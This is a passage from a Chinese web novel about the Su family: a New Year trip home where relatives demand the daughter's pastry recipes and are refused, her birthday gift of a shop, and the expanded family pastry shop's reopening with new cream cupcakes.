苏家正式收拾房子,争取在十二月中旬前搬进去。 因为今年过年,他们准备回老家肃河村过,毕竟搬了新家,要回去跟苏奶奶说一声。 而且这些年太忙,基本都没回去,年后苏娘子跟苏家兄妹还可以晚回来一段时间,等到店面扩建完成,再回京城也不迟。 这么一算,那就必须在回老家之前把新家收拾好。 苏茵茵在里面挑起大梁,虽然不需要她搬东西,但家里的物件都有她记下,不至于搬家太混乱。 邻居孙东俊也过来帮忙,窦玉凤姐姐,还有哥哥的同窗,以及爹爹同僚小辈,有空的都会过来搭把手。 甚至郭展都带人来过。 但郭展被婉言谢绝,多拒绝几次,他也就没出现,但每次都唉声叹气的,惹得苏茵茵难免有点心虚? 不搬家就算了,一搬家发现,家里东西怎么那样多。 单是自己的东西,感觉都要搬好几天。 苏茵茵把屋子里零零散散的东西收拾好,需要封存的,还要用的,以及平时记的账目跟写下来的食谱等等。 等到东西全都规整好搬过去,已经是寒冬腊月。 家里热热闹闹请了周围邻居朋友吃了顿暖房饭,继续马不停蹄收拾回老家的东西。 除了苏指挥使年后初六就要回来之外,其他三人要住两个月左右,收拾的东西不少。 再加上过年给苏奶奶以及亲戚准备的节礼,装了满满三车东西,终于可以出发。 苏娘子拉着女儿的手,看向自家店铺,感慨道:“等我们再回来,这间小店就要变成两层了。” 这让她难免想到许多年前,自己挎着小竹篮,抱着女儿去卖清糖饼。 十几年过去,女儿长大了,店面也越来越大。 “以后的日子肯定越来越好。”苏茵茵肯定道。 跟邻居告别,苏家四口坐上马车,直接回乡。 苏茵茵对老家并不算陌生,一年之中至少要回去两次。 苏显更是如此,他是家中长子,年长些之后,回去次数更多了。 可回老家过年,还是头一回,难免有些激动。 “姨婆家说,已经帮咱们检查过房顶跟门窗,该补的地方都补了,就是长时间不住人,需要多烧点炭火。”苏显道,“还有灶台也冷,要多烧烧。” 这些都是小事,苏茵茵又问道:“哥,你是不是要给他们讲课啊,我听说村里小孩都想让你教教读书。” 近些年万龙国大力推广科举,便是肃河村不少小孩都在考秀才。 哥哥这个真秀才回乡,估计要给他们辅导功课。 “嗯,有几家年后就要考试,所以让我帮帮忙。” 苏茵茵点头:“那我帮哥哥磨墨!” 说着,苏茵茵打开车窗看了眼,外面的雪真厚啊。 刚感慨两句,苏茵茵目光一顿,不远处马上的人很眼熟。 那人朝她挥挥手,显然认识,她没认错。 一段时间没见,他是不是瘦了? 也高了。 苏茵茵放下车帘,捂了捂耳朵,好冷的天气,赶紧回老家吧。 窝在娘亲怀里,苏茵茵一觉睡到回老家。 肃河村,除了必要的道路之外,其他地方堆满积雪。 亲戚家的叔婶早早在村口等着,见他们过来,大声道:“回来了,一路上冷不冷啊。” “饿不饿,家里备好饭菜了,等你们开饭呢。” “苏奶奶可高兴了,换了你们给她买的新衣服,正等着呢。” 终于到了家里,一家四口先去看苏奶奶。 之前过年,苏奶奶都是在妹妹家过,今年提前挪到二儿子家中,穿了喜气的衣服等着他们。 苏茵茵进门先喊了句奶奶,然后看到旁边坐着的一家八口。 大伯一家也回来了。 这样巧? “你们回来了,还以为你们买了宅子,会在新房子过年啊。”大伯娘刚开口,被大伯瞪了一眼。 苏指挥使跟苏娘子根本不理他们,先跟苏奶奶问好,随后入席吃饭。 大伯一家在,肯定也要一起。 但出乎苏茵茵意料的是,他们两个除了刚开始夹枪带棒之外,更多时候老实的厉害。 苏茵茵偷偷跟哥哥道:“肯定有阴谋。” 苏显笑着给妹妹夹菜:“你猜到了。” “蛋糕秘方呗。”苏家兄妹抬抬眼就知道对方在想什么,面上只当什么都不知晓。 大伯家最小的女儿今年十七,苏茵茵应该喊三姐,三姐笑着道:“茵茵妹妹吃肉,听说你最喜欢吃肉了。” “是啊,我还喜欢吃鸡腿。”苏茵茵大大方方道,“你们不喜欢吃吗。” 众人忍笑。 谁会不喜欢吃肉吃鸡腿啊。 苏三姐咬咬牙,把鸡腿夹给苏茵茵:“我娘早上专门给你们杀的鸡,快吃吧。” “那不是还有一个吗。”苏茵茵又道。 还要? 桌子上一群人大眼瞪小眼。 除了姨婆,还有姨婆家来陪客的叔婶之外,其他都是苏奶奶家的人。 苏家大房一家八口,除了大伯大伯娘之外。 还有他家老大儿子一家三口。 儿子夫妻俩。 小女儿苏三姐。 剩下就是苏家二房四口人。 而桌上只有两个鸡腿。 苏茵茵一个不够,还要第二个。 苏老大的媳妇刚要张口,被婆婆瞪回去,还真把鸡腿给了苏茵茵。 这也行? 看来对方有备而来啊。 苏茵茵笑眯眯地,把鸡腿给了苏奶奶跟姨婆两位长辈,半点没落口舌。 回家第一顿饭,便吃的风起云涌。 看来对方来者不善。 苏茵茵倒也不是故意如此,一个是试探,二是知道当年娘亲在老家时怎么被大房欺负的。 不报这个仇,她还是娘亲的女儿吗。 所以不管苏三姐怎么跟她套近乎,苏茵茵坚决跟着哥哥一起,哥哥教村里小孩读书,她就跟着整理书籍,研磨墨水。 总之少说话少交流。 倒是她爹先打听来消息。 大房今年特意回来,是准备请苏奶奶教两个孙媳妇,以及苏三姐做点心。 也有人说,为什么不让大伯娘教,他们在家里多方便。 这点苏娘子知道一点:“她觉得婆婆藏私了,万一有她没学过的东西,那不就吃亏了。” 原来是这么回事。 反正跟他关系不大,苏茵茵继续跟哥哥一起看书。 村里明年参加童试的,一共四个人。 最小的十四,最大的十八,都是读书的好年纪。 可苏茵茵听着,感觉他们应该都考不上? 苏显惊讶道:“为什么这么说?” “书背的不算好,解意也一般啊。”苏茵茵看着他们给哥哥教的试卷,“看,这都是明显的错误。” 哥哥反而笑:“是妹妹水平高,他们这种已经不错了。” 这样吗? 苏显一直知道妹妹厉害,却还未让妹妹写过考题,这会干脆道:“这题妹妹写的话,会如何作答?” 反正闲着无聊,苏茵茵还真的写了篇文章出来。 过了片刻,苏显感叹道:“妹妹要能科举,必然早就考中秀才了。” “哥,你看我是你妹妹才这么说的吧。” 苏显笑:“怎么可能。” 别说他了,跟着一起读书的几个人,基本都发现,茵茵妹妹比他们还要厉害。 其中十四岁的陆如很难为情,都是一样的年纪,茵茵妹妹还是女子,都比他厉害。 见此,苏茵茵挑眉道:“怎么?看不起女孩子?” “这倒不是,我七岁开始就在私塾读书,却还不如你。”陆如挠头,难免沮丧啊。 其他来学习的人也点头。 是啊,他们都是这样。 其中十八岁的陆俊华点头之余,又有些不爽,开口道:“说不定是苏显哥教的文章,不用妄自菲薄。” 听到这,苏显轻笑:“我妹妹三岁便拿笔,开始读千字文,我教不教,又有什么区别。” 三岁?! 陆俊华更酸了:“你们京城人就是不一样。” 话说到这,今天的课也差不多了。 反而是年纪小的陆如替堂哥道歉,他平日不这样,马上童试压力大,所以才这般说话。 苏家兄妹不怎么介意,让他们好好复习即可。 剩下的学生同样是肃河村的,也很不好意思。 本就是求苏秀才帮忙,哪能置气啊。 好在马上过年,苏家临时的“补习班”便散了,等到年后再说。 陆如还特意跟苏茵茵也道歉:“茵茵妹妹别介意,回头我带家里好玩的给你做补偿。” 苏茵茵摆手,显然没放在心上。 来这里补习的人刚走,苏茵茵看到门外还有人站着,往外一看竟然是苏三姐,她面前站着陆俊华,两人不知道在说什么。 等到大年三十晚上,大伯娘拉着她的手感谢,苏茵茵才懵了。 “都说你是小红娘,看来没说错,那陆家小子跟我家女儿的婚事,可真是天作之合。” 等会?! 跟她又有什么关系? 苏茵茵想到苏三姐被骄纵的脾气,再想到陆俊华小心眼的性子。 这俩人能合适吗? 管他们合不合适,跟自己都没关系,苏茵茵立刻摆手:“别扯上我,跟我没关系的。” “怎么没关系,要不是你哥哥在这教书,他们也不会认识啊。”大伯娘是真心满意这桩婚事。 读书人啊,读书人多好。 听说苏茵茵之前撮合的姻缘里,就有好几个读书人,什么秀才举人进士的,那多好啊。 如果陆俊华也能考上秀才,她家以后有指望了。 苏茵茵赶紧道:“真的别,我跟这件事没有任何关系。” 苏茵茵爹娘也道:“要这样说,那是苏显撮合的姻缘才是,不要什么都往茵茵身上扯。” “是啊,他们自己看上了,跟我们家没关系啊。” 眼看二房一定要跟他们撇清关系,苏大伯撇撇嘴,大伯娘脸上也不好看,反而道:“算了,反正回家第一桩事也办成了。” 来了来了。 终于来了。 既然有第一件事,肯定有第二件,到底是什么,快点来吧。 苏茵茵往哥哥身边坐坐,等着对方出幺蛾子。 谁料苏大伯竟然讲起故事,还让苏奶奶配合他。 “想当年,咱们苏家在京城也是有头有脸的点心铺。”苏大伯叹气,“可惜我不争气,没能把苏家点心重新振兴起来。” 说到这,自然引起苏奶奶的回忆:“是啊,最早的时候,苏家传下来五十多种手艺,如今也只剩二十八种。怪我学得慢,当年我婆婆会的更多。” 说起当年,大家气氛沉闷了些。 苏大伯装模作样的擦擦眼泪:“我还记得爹当年在时,最大的愿望就是让点心种类增多,虽说不能到五十多种,也至少有个三四十样。可惜他遍寻一生,也没找到太多方子。” 谁家方子都很金贵。 如今苏家点心还能在北市存活,靠的就是祖传手艺。 想要增加品类,难上加难。 这可不是现代知识大爆发的年代。 苏奶奶想到之前,无奈道:“也是没办法,当年没有这样好的日子,大家饭都吃不起,命都保不住,生意差了,日子自然也差,所有人日子都不好过。” 提到这一点,苏指挥使点头,苏娘子同样感慨。 他们都经历过那段时间。 苏家大儿媳妇开口道:“奶奶,公婆,苏家最早的时候,怎么会有那么多点心方子啊,是自创的吗。” 苏大伯嘴角压不住笑,终于说到正题上了。 “那么多房子,就是苏家族人一点点攒下来的,多数是去其他地方学艺,也有自己创新之后,教给族人,之后发扬光大。” “全靠苏氏族人齐心协力,这才有了那么多点心方子,才有我们的如今啊。” 听到这,苏茵茵没了听故事的乐趣,歪在娘亲身上,懒得再听。 原来在这等着呢。 她就知道,大房不是随随便便回忆过往。 “慧娘,茵茵,咱们家的手艺是靠着族人齐心协力,才有的如今几十种方子,你们说呢。” 苏家四口人同时皱眉,看向大房那边。 大房众人心里心虚,面上却等着大伯娘起头。 看来他们早就计划好了。 苏茵茵简直被气笑。 好啊,原来你们回乡的两件事,都跟我有关。 蹭小红娘运气,给未出嫁的小女儿说门亲事。 还要让她贡献点心配方。 不用等她说完,苏茵茵就想明白这些人的想法。 苏茵茵拉着哥哥,给爹娘使眼色,让他们说,说清楚。 “什么手艺祖传的。”苏茵茵直接道,“苏家传下来的手艺,大伯娘你不都学会了吗。” “我们说的是戚风蛋糕!” “还有拇指枣泥酥,你那个表皮到底怎么做的。” 大房家两个儿媳妇接着道。 看两人迫不及待的程度,恐怕早就想好要她手里的方子了。 这也是他们听说自家回老家之后,一定也要过来的原因吧。 “这不属于苏家的秘方,都是我自己的,跟苏家又有什么关系。” “你难道不姓苏?”大伯娘立刻道,“你难道没听到吗,要不是苏家多年来的积攒,你们家能开点心店吗,做人最重要的不能忘本。” “只有大家齐心协力,才能恢复苏家点心原本的荣光。” 话说到这,苏奶奶眼皮动了动,别的就算了,这点说到她心坎上。 老大老二他们爹在世的时候,念叨最多的就是这句话。 如果能让苏家点心重新发展起来就好了。 当初苏家点心在汴京四五个分店,那时候多好啊。 苏娘子第一个道:“别忘了,我们已经分家,你家能给苏家点心传承带来什么?” “我们不是没本事吗,没研究出来什么方子,如果你们要的话,我们可以把这些年做点心心得写下来。”大伯娘赶紧回复。 这就是耍无赖了。 说要一起给苏家点心做贡献。 但我家没有,你家有,那你家赶紧给啊。 占便宜的人是谁,不言而喻。 苏指挥使看向大哥,心更冷几分,开口说道:“苏家点心不是在你们手上,我们家的是慧女点心。” 一句话噎住苏大伯,可他立刻拍桌子:“这件事也有得说,好好的苏家招牌不用,怎么用你媳妇的,这像什么话?” “要我说,你们招牌也要改,改成苏家点心,让大家知道,我们是一家的。” 算盘珠子要崩脸上了啊! 他们要改成苏家点心,不是上赶着让你蹭热度。 苏茵茵翻了个白眼,直接道:“回家做梦吧,做梦比较快。” “你这孩子怎么说话的!”大伯娘立刻道,“咱们两家关系是不好,但你满月的时候,我还送过你礼物呢。” “送的小鞋啊,我知道。”苏茵茵干脆利落拒绝,“方子是我的,谁都别想要。” “我家铺子也是母亲开的,我爹都没怎么帮过忙,怎么可能叫苏家点心。” 苏指挥使看着自己的大孝女,好笑道:“对啊,如果说点心铺用了苏家的方子,那以后我们可以不用。” 就算他公务忙,没怎么管生意,但也知道如今八成,乃至九成收益,靠的都是新方子,并不属于苏家传承。 眼看二房没一个人松口气,大房瞬间着急了。 不给方子,也不改店名,他们怎么办? 汴京点心行当堪称日新月异,他家抱着老方子,真的没办法啊。 但凡二房给一个方子,他们的日子都不会那么难过。 外人可能不知道,但大房这边的店铺基本要倒闭了。 否则今年怎么早早回家,还不是因为没生意。 如果拿不到二房的方子,不能让他们改店名,那不到半年时间,他家铺子绝对要转让。 “你们是不是太小心眼了,都是一家人,帮帮忙怎么了。”大伯一家着急道,明显要围上来。 苏指挥使,苏显挡在前面,谁都不敢再过去。 好好的大年三十,两家人不欢而散。 苏奶奶想说什么,却还是闭上眼。 她知道大房家不对,所以不会多说。 可她心里,同样想让苏家点心发扬光大,至少能在点心行当有名有姓。 年后这事倒是没再提起。 苏茵茵都以为他们知道自家态度,不会自找没趣。 没想到过了初四,也就是爹爹回京当值之后,大房日日往苏奶奶这边跑,目的非常明确。 慧女点心要么给出方子,要么改名字。 不能什么都不做。 大房肯定觉得给方子更好,而苏奶奶的意见则是店铺改名。 苏指挥使在时,他们还没那样明目张胆,等他走了,这些人蹬鼻子上脸。 “太可恨了,当年爹爹去当兵,他们是不是也这么做的。”那时候还没苏茵茵,可她已经能完全想到当时的模样了。 苏显脸上冷若冰霜,明显勾起他不好的回忆,开口道:“娘,妹妹,放心,有我在。” 苏茵茵连忙拉住哥哥:“哥咱们一起。” 两人没想过回京城,回去自然能躲避这些人的骚扰,可他们不愿意,他们要保护母亲,保护店铺。 苏娘子做了这么多年的买卖,跟之前也有不同,摸摸两个孩子的头:“有你们在,肯定没事的,娘也会保护你们,给你们爹写信,让他也回来。” 年一过完,肃河村其他人便发现苏家的情况。 来串门的霍芸跟郑良都发现问题了,两人就是当年苏茵茵撮合的一对,现在孩子都四五岁,正是好玩的时候。 “你们跟大房关系缓和了吗,他家正在跟陆家聊亲事,还说是你撮合的。”霍芸直接问道。 苏茵茵摇头:“跟我家没关系,跟我更没关系。” “那你们可要说出去,不然肯定黏着你家。”郑良话也直白。 苏显正好从外面出来,年后他继续跟村里学生们讲课,方才劝退了陆俊华,便是表明态度:“放心,这件事解决了。” 下个月就要童试,苏显把陆俊华劝走,明显是避嫌的意思,谁都能看出问题。 没想到陆家那边反而先不满了,陆俊华他娘亲自找过来问道:“你大伯母说,茵茵觉得俊华跟苏三妹有姻缘,怎么还不让俊华跟着你哥读书了。” 苏茵茵一头雾水,她什么时候说过这话啊,等她解释清楚,陆俊华他娘明显不高兴。 但想了想苏家大房好歹在京城有铺面,还是默认这门婚事。 没了小红娘名声加持,两家的婚事暂时搁置。 气得大伯娘想骂人,可她现在又不敢骂,毕竟还有求二房。 一来二去,肃河村其他人也明白,这两家关系还跟之前一样差,根本没和好。 既然都闹开了大房干脆不装,一定要让二房给出方子,或者店铺改名。 都是一家人,为什么不能相互帮忙啊。 苏茵茵总算知道娘亲之前受的什么气,直接跟大伯娘理论,看得前来上课的陆如一愣一愣。 等苏茵茵回头,正好看到对方敬佩的目光,随后小声道:“回家我也这么做。” 你也这么做? 陆如道:“陆俊华是我堂哥,他娘也是我大伯娘。” 哦,原来你家也被大伯娘欺负。 有了这层关系,陆如明显跟苏家兄妹关系更近,没事还偷偷学习怎么吵架。 但说到底,村里多数人还觉得,一家人打断骨头连着筋,既然都是亲兄弟,教一两个方子怎么了。 还有,既然是苏家人,店铺名字确实应该更改。 苏茵茵看向奶奶,想让她说句话。 可想到她的态度,估计还惦记着苏家点心的名头。 还没等她劝说,苏娘子反而道:“娘,我有件事想同您说。” 这让大房家的很惊讶。 十几年前,她就是这么欺负二房媳妇的,没想到现在竟然敢还嘴了。 苏娘子深吸口气,请大家都出去,她单独跟婆婆说话。 苏茵茵明显想要跟着,被哥哥拉了出去:“信母亲的。” 说完,苏显看向大房其他人,直接道:“你们家的店,是不是要倒闭了。” 苏显说的直白不留情面,母亲去应付奶奶,他也有自己的事要做。 这么多年了,他早就在心里想过千遍万遍。 “就是因为要倒闭了,所以才想要我妹妹的配方,对吗?就跟当年想强占我家土地一样。” 苏显说的直白且不留情面,还因为在屋子外面,没一会便吸引村里人偷听。 “你这孩子胡说什么。”苏大伯娘连忙辩解,又跟外面的人道,“我家店可没倒闭啊,生意好着呢。” 苏显继续道:“好啊,既然好着呢,记得给我家分成,这么多年的分成,一分都不能少。” “你们之前一直说,苏家点心是两房共有的,那为何我家没分到铺面,也没分到店里的利润?大伯娘,做人做事不能这样吧。” 平日话不多的苏显,此刻提起这事一针见血。 要说苏家两房都要为苏家传承做贡献。 那好啊,我家也要分之前的利润,不然凭什么? 既然是共有,那就有分成。 如果是你家独有,就别想我家的方子。 苏显把问题抛了回去,根本不会接受对方二选一。 苏家大房被说的哑口无言。 现在变成他们二选一了。 想要配方的前提是归还之前十几年的收益。 不能好处全是你们的,有事了来找我们吧。 苏茵茵在后面根本不用说话,她哥真厉害啊! 想要她的配方,过了哥哥这一关再说! 很快,屋子里也传来动静,苏奶奶脸上带着笑,对一众等:“不要再吵了,慧女点心就是慧娘的,大家不要争了。名字不名字的,也没什么。” 连苏奶奶都倒向二房?! 大房瞬间着急,跳起来反驳。 这怎么办。 他家一点光都沾不到啊。 那他家店铺真的要完蛋了。 可惜大势已去,现在的苏家二房,已经不是被他们欺负的孤儿寡母。 就连苏奶奶都站他们那边。 是站他们那边吗? 苏茵茵心里有些明白,为什么这么多年都不回来过年了。 明明是娘亲每年惦记着老家,送药送吃食送炭火。 可她心里只有苏家点心的招牌。 也不知道娘亲怎么劝的,让奶奶放弃这个事。 快马加鞭回来的苏指挥使眼圈通红。 刚到京城,还未去兵马司报道,苏指挥使就接到儿子的信件。 又来! 又趁着他当差做这种事。 他直接骑着马回来,路上跑得飞快。 苏指挥使说的更加果决:“苏老大,我们不是已经分家了吗,你还黏着做什么。” “是想沾我家的光吗。” 苏指挥使才不会给他们留情面,欺负自己老婆孩子,不打一顿,已经是他克制了。 “你胡说什么!怎么连大哥也不喊了!” 苏指挥使再次道:“说过分家了,你不知道?是不是看我如今在兵马司任职,想要重新攀亲戚?” “好啊,那咱们先把这些年的烂账一点点算清楚。” 苏指挥使甚至没给他娘面子,直戳对方肺管子,“想要苏家继承招牌,那也简单,等你家倒闭了就行。” “没记错的话,你家好几个月没有盈利了吧。” “别说了!你别说了!”大伯每次回村里,都会被老家人羡慕,现在戳破脸皮,只觉得都在笑话他打肿脸充胖子。 苏家两房时隔多年,再次撕破脸。 甚至不是坐下来慢慢商谈,而是在全村面前直接说早就分家,早就没有亏欠。 如果大房再贴过来,那是真的没脸没皮。 苏茵茵还被家人护在身后,她明白,爹娘哥哥都是在保护她的方子,不会为了所谓的家庭和谐,让她交出自己的心血。 他们都在用不同的方式保护自己。 苏茵茵低声问娘亲:“娘,你怎么说服的奶奶?” 看她对苏家招牌那么看重,哪有那么简单啊。 苏娘子没打算瞒着,笑着道:“还有几日,就是你十四岁生辰了。” 对啊,怎么了。 “娘打算,送你一间铺子。”苏娘子郑重道,“你自己的,这就算有苏家传承了,你奶奶很高兴的。” 她? 送她一间铺面? 50-60 第51章 回汴京的路上,苏茵茵还在傻眼。 家里刚还了新宅子,怎么还给她准备了铺面? 再问才知道,爹娘之前没想着买宅子,就是给她准备铺面,作为生辰礼物。 铺面甚至就在西城南城交界的集市上,距离现在家里也很近。 这事还跟哥哥商量过,哥哥完全没有意见。 大意是说,家里这些年生意越来越都是因为她,所以要给她早点准备。 最近几年街上铺面涨价,早点买下,也早点安心,不一定马上经营,反正是她的。 苏茵茵人都傻了。 爹娘哥哥他们瞒的也太严了吧。 娘亲说服奶奶的理由也是这个,以后茵茵自己经营店面,自然是苏家点心。 大房那边就算想蹭同一个名字,也会被茵茵的店面比下去,因为两者根本没法比较。 “等你开店的时候,他那边的店铺大概率会倒闭,根本蹭不到的。” 苏娘子温柔说出这些话,实在让苏茵茵敬佩啊。 总之老家的闹剧结束,她爹还喊了马车,接大家一起回去。 不出意外的话,以后他们很难再回来过年。 苏奶奶的想法也让苏指挥使不高兴,每次他不在的时候,就欺负自己老婆孩子,很难没有怨言。 “回家了,还是家里更好。”苏娘子笑着道,“新房子咱们还没住多久呢。” “对,回家。”苏指挥使道,“以后少回来,而且跟大房彻底断了关系,只当不存在。” 苏显也点头,他们是在祠堂分过家的,现在村里人更是知晓两家矛盾,以后过好自己的日子就行。 而苏茵茵已经在着手准备新点心了。 家里买了宅子已经花了很多钱,还给她买下铺子,估计真的没有一点积蓄。 这怎么能行,必须好好赚钱才是! 可惜的是,她家铺子还没有扩建好,听房东的意思,最快要等到二月初五,差不多半个多月的时间。 不如趁这个时间,重新制定她家点心单子,还能吸引更多客人。 苏娘子自然没意见,点心的事听女儿的就行。 苏茵茵大刀阔斧开始改,新家的房间很大,很少隔出了书房跟卧室,她在书房写写画画,日子过的很快。 安盛十四年,正月十五。 苏茵茵十四岁生辰。 原本以为今年生辰要在老家过,没想到又回来了。 早上起来,苏茵茵便收到娘亲做的奶油蛋糕。 苏娘子道:“你不是说,生日的时候应该吃奶油蛋糕吗,尝尝娘做的好不好吃。” 不用尝就知道,肯定好吃的! 吃过饭后,家里人又带她去了买下的铺子,郑重其事的把铺子契凭交给苏茵茵,上面的名字也正是她的。 以后她就是有店面的人啦。 这件店面不算大,顶多做个小甜品店,可位置还不错,不少南城客人都过会过来,可见花了不少钱。 苏茵茵好奇地看来看去。 不过她没打算立刻开业,就像娘亲说的,等到那处苏家点心正式倒闭再说。 而且慧女点心扩建还没完成,这个店没彻底稳定之前,她不会盲目开店的。 即便如此,苏茵茵还是高兴的。 怎么也想不到,她会有自己的店! 还是家人送的生辰礼物! 一直到晚上从酒楼回来,她都是高兴的,甚至喝了杯果酒,家里人也没拦着。 回新家时,苏茵茵远远看到一辆马车,这马车她见过,原锐的。 马车旁边还有一匹单独的马,看着好像长途奔波过一般。 哦,不能叫原锐。 不知道他叫什么名字。 苏茵茵只当没看到,却被人喊住:“苏伯父,苏伯母晚上好。” 苏指挥使跟苏娘子对视一眼,给苏显使眼色,眼看苏茵茵要被带走,李锐渊道:“茵茵今日生辰,这是我准备的生辰礼。” 说罢,郭展放下礼物,转身便走。 不管李锐渊还是郭展,都没给他们退回的机会。 似乎顺便路过,随便给了礼物,没有其他的意思。 苏家人摸不清头脑,见礼物为几本风物志,倒不是贵重的布料珠宝。 “回家吧。”苏显道。 苏茵茵点头,来以后接触越来越少,也就好了。 毕竟以对方的身份,不会热脸贴冷屁股太久。 “走,回家。”苏茵茵开心道,“我听说咱们店面快要扩建好了,很快就能开业吧。” “是,估计正月二十五左右就会好。”苏娘子也为这事高兴,“最近正好把点心单子定下来,好多人等着咱们开业呢。” 过年之后,不少客人在街上碰到他们,都会多问一句什么时候开业。 但大家也知道,北市的扩建速度已经够快了。 慧女点心运气比较好,匠人们先从他们那开始,所以再着急也没用。 与此同时,苏家大房的消息也传过来。 他们倒是早在开业,却实在没生意。 汴京点心行当推陈出新的速度越来越快,他们很早就跟不上了。 今年更是如此,不出意外的话,他们倒闭的时间会比想象中要快。 也有人说,他们不如拿着汴京的新点心去外地看看,万一能行呢。 苏家大房怎么选,他们还不知道。 可他家小女儿跟陆家的婚事基本告吹。 那陆家能供家里孩子读书,可见有家底。 想跟苏家大房接亲,一个是误认为小红娘牵线,二以为他家在汴京铺子还不错,能给小女儿不错的嫁妆。 谁料两者都没有,陆家直骂晦气,干脆断了联系。 但好像那两个小辈难舍难分,陆俊华倒是很喜欢苏三妹。 想来还有的纠缠。 这些跟苏茵茵他家完全没有关系,经历过年的事之后,俩家彻底不会来往,便是苏奶奶说什么,苏指挥使也不会听的。 苏茵茵一边听外面八卦,一边做慧女点心的单子,偶尔还听朝廷的消息。 主要还是太子名气越来越大。 马上要来的会试,便是他来主持,甚至会试之前还写了篇文章,鼓励天下学子。 那文章写的非常好,连她哥回家都夸,还说山家书院的夫子们很喜欢太子作风,鼓励学生们努力读书,下次科举多中几个。 之前怎么不鼓励,现在开始了啊。 苏茵茵目光复杂,没跟她哥说实话。 说不说都一样。 省的哥哥多想。 远处的郭展松口气。 太子殿下以为茵茵姑娘还在老家,所以坐马车去了肃河村。 还好是提前去的,去了之后才知道,他家闹了矛盾,所以提前回京了。 所以殿下快马加鞭赶回,又在门口等了许久。 只为送上这几本风物志。 殿下看的时候就说,茵茵姑娘肯定会喜欢。 但这些事却不让他们多说。 这是为何? 转眼便到正月二十五,慧女点心扩建雏形已经完成。 苏茵茵每日都去看进度,连工匠都认识她家,还开玩笑道:“听说你家做的点心特别好吃,等开业了,我们一定要尝尝。” 苏茵茵大方道:“可以啊,到时候我请你们。” 又做了几日收尾工作,终于在二月初,慧女点心从一层楼变为两层楼了! 工匠们的手艺很好,不仅修补了地基,还在原有的基础上加固,让二楼格外结实。 再加上把前院后院连接,原本小店面扩大了些,到时候食物柜台可以放到屋子里,那样排队的顾客就不用站在外面了。 二楼也能增设柜台,多招些人手过来售卖,效率大大提高。 原来的厨房跟仓库合二为一,厨房再增加三个烤炉,点心数量再次翻倍。 可以说这次的扩建非常有成效,整个店面扩大了一倍不止,周围商家也过来看。 他们各家店面还在等着扩,看到这种效果,难免向往,想赶紧轮到他们,租金虽然涨了一些,但面积扩大一倍多,实在是值得的。 房东更是满意,不过他给苏家母女使眼色。 放心,扩建虽然花了不少钱,但你们的租金不会太高的。 谁让你们已经是这条街的招牌了。 多少人过来,都是冲着你们啊。 苏娘子跟苏茵茵只笑,她们也期待赶紧重新开业。 慧女点心的招牌重新挂上,之前找来的厨娘帮工都来了。 就这人也不够用。 按照苏娘子计算,厨房带上她,还需要三个人。 楼上楼下柜台需要四个人。 茵茵跟苏显帮忙的话,那就另算,先把固定的人定下来。 苏娘子招工并不难。 不过她还算先选了当年接济过的人家,若有合适的小女娘可以送过来。 这样一来,之前就在店里帮忙的几个人,干脆都在厨房做事。 又新招了四个十六七的小姑娘在柜台装点心。 店面整理好了,人也找齐。 大家都以为他们会赶紧开业,谁料又装修了一段时间,终于在二月十五正式开门。 全新的慧女点心,终于开门啦。 营业当天,新老顾客都挤在门口。 知道他们等了多久吗! 知道吗! 从去年十二月中旬,一直到今年二月份,这才开业啊! 店门打开,内里重新装饰了一遍,简单大方的颜色,看着整洁干净。 楼上卖的点心比较复杂,等待时间长一些。 楼下的点心买卖更快,所以到店就能买到。 根据大家需求不同,挑选需要的点心就好了。 店内糕点的香味,简直让人闻之心醉。 而一楼柜台上,还有每日点心的样式,以及本季新品展示。 所有的东西摆放错落有致,既让人一目了然,又不会眼花缭乱。 哇,这就是新营业的慧女点心吗。 真的完全不同了! 而这次的新品,则是奶油蛋糕。 慧女点心擅长用奶制品做点心,大家已经知道了。 之前他们用黄油,已经成了京城点心惯例。 现在又增加了奶油跟松软的蛋糕搭配,再也没有比这更轻柔的口感吧。 奶油蛋糕小孩巴掌大小,被称作纸杯蛋糕,无论是模样还是口感,全都一等一的好。 这还有什么好说的! 买! 能买几个是几个! 不仅普通客人在买,整个汴京同行几乎都来了。 就连大伯跟大伯娘也混到其中。 放在之前,苏娘子还会打个招呼,现在完全不理,只当没他们这门亲戚。 至于为什么? 你们心里清楚啊,没把你们赶出去,已经是他们心肠好了。 重新开业本就热闹,几个穿着太监公服的人过来,更是引人注目。 对方还笑着道:“苏娘子,小的们又来了,宫里也想尝尝新鲜呢。” 宫里?! 之前有人就说过,宫里也觉得慧女点心的蛋糕好吃。 现在奶油蛋糕又引起宫里注意了? 只是不知道,是宫里哪个贵人要的。 苏茵茵正在给金彦磊点心盒子,之前约好给他预留的。 金彦磊看到那几个公公,下意识想要往前,最后又停住脚步,压低声音对苏茵茵道:“你知道他们是谁吗?” 苏茵茵不太想知道,捂住耳朵道:“别说,不想听。” 金彦磊惊讶。 茵茵姑娘颇有些欲盖弥彰的意思? 有种她知道那些人是谁,但又装作不知道? 为什么啊? 金彦磊吃了一口蛋糕,开口道:“你就没一点好奇心?” “完全没有。”苏茵茵肯定道。 “好吧,不说了,我先走了,东宫那边事可多了。” 金彦磊讲完,发现茵茵姑娘看他一眼,怎么莫名其妙的。 这里面有什么他不知道的事吗。 好怪。 苏茵茵还在客人里看到窦玉凤,几个月不见,她依旧那般有活力。 窦玉凤看向她时候,倒是说了句别的:“你怎么气色不大好,怎么了?” 气色不好吗? 苏茵茵摸摸脸:“估计最近累着了。” “好好休息,特别女孩子家,多锻炼锻炼身体也行。”窦玉凤给出建议。 说到这个,苏茵茵确实很久没有出去玩了,孙东俊还喊着要一起骑马,她都没空。 窦玉凤则问了另一件事:“茵茵听说你跟城郊李家果园关系不错,能不能帮我忙。” 苏茵茵点头:“是啊,大果姐姐人很好,下一季的点心,我们家还在她那买水果呢。” “那你能不能帮忙问问,杏树生虫了怎么那么,我家院子里的杏树生了虫,怎么都治不好,我怕那树活不过今年。”窦玉凤脸上带了愁容,“家里找了人治,却一直没用。” 苏茵茵只道这棵树。 之前窦玉凤姐姐提过,是她相公跟她一起种下的。 “好,我立刻差人去问问,一有结果就跟你讲。” 苏茵茵立刻让街上小孩带口信过去,丝毫不敢耽搁。 那树对窦玉凤一定很重要,她知道的。 两人又说了会话,何家大宗其实还对她有不满,张主簿那边又不敢得罪。 所以明面上的针对没有了,暗地里难免还有摩擦,甚至还放话说,就不信窦玉凤一辈子不嫁人。 窦玉凤无奈:“不管说了多少次,他们就是不信。” “我确实不是守节的人,我只是守我相公,他们一点也不懂。” 她是因为相公人好才这样。 而且断定不会遇到第二个这样的人。 也不知道那些人,怎么才能断绝念想。 窦玉凤说了一会,又想到家里那棵树。 对比起来,还是救活相公种的杏树更重要。 